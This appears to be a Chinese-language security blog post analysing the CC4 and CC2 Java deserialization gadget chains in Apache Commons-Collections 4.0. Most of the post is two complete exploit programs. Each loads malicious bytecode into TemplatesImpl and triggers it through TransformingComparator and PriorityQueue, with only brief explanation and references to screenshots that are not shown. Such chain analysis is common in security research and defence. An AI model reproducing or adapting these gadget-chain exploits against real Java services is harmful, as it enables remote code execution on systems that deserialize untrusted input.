Commons-Collections-CC2、CC4链分析

KaGty1 共 963 字 预计 14 分钟 共 次阅读
  1. 1. CC4
    1. 1.1. 完整 EXP
    2. 1.2. EXP构造逻辑
    3. 1.3. 利用链流程图
  2. 2. CC2
    1. 2.1. 完整 EXP
    2. 2.2. EXP构造逻辑 + 流程图

之前的几条CC链都是 Commons-Collections 3.2.1版本中的，CC4和CC2链是 Commons-Collections 4.0版本中的 Java反序列化利用链。

CC4

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        //CC3前半部分
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue<TransformingComparator> queue = new PriorityQueue<TransformingComparator>(transformingComparator);

        //反射修改 size的值，使 size>>>1的结果大于1
        Class priorityQueueClass = queue.getClass();
        Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.setInt(queue, 2);

        serialize(queue);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

EXP构造逻辑

1、在 Commons-Collections 4.0中查找 ChainedTransformer.transform的用法，发现在 TransformingComparator.compare中被调用：

image-20250209092359564

2、compare方法可以在 PriorityQueue.siftDownUsingComparator中被调用，comparator可以在类构造函数中被赋值可控：

image-20250209092646484

image-20250209092737414

3、PriorityQueue.siftDownUsingComparator可以在 PriorityQueue.readObject中被调用：

image-20250209093428917

image-20250209093448013

image-20250209093503495

问：为什么 Commons-Collections 3.2.1中不能利用这条链呢？

答：因为 Commons-Collections 3.2.1 中 TransformingComparator类没有实现 Serializable接口，不能被反序列化：

image-20250209094841367

利用链流程图

image-20250209094437756

CC2

CC2的核心思想还是 CC4链，只不过 CC2使用 InvokerTransformer直接调用 Templates.newTransformer，没利用 InstantiateTransformer。

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        //CC3前半部分
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //_class不为 null
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");
        //_bytecodes赋值恶意字节码
        byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class"));
        byte[][] byteCodes = {byteCode};
        Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);
        byteCodesField.set(templates, byteCodes);
        //_tfactory不为 null
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[] {}, new Object[] {})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue<TransformingComparator> queue = new PriorityQueue<TransformingComparator>(transformingComparator);

        //反射修改 size的值，使 size>>>1的结果大于1
        Class priorityQueueClass = queue.getClass();
        Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.setInt(queue, 2);

        serialize(queue);
        deserialize();
    }

    public static void serialize (Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize () throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

EXP构造逻辑 + 流程图

image-20250209101825479

文章作者：KaGty1

文章链接：http://kagty1.github.io/2025/02/09/CC4+CC2%E9%93%BE%E5%88%86%E6%9E%90/

版权声明：本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议 ，转载请注明出处，谢谢。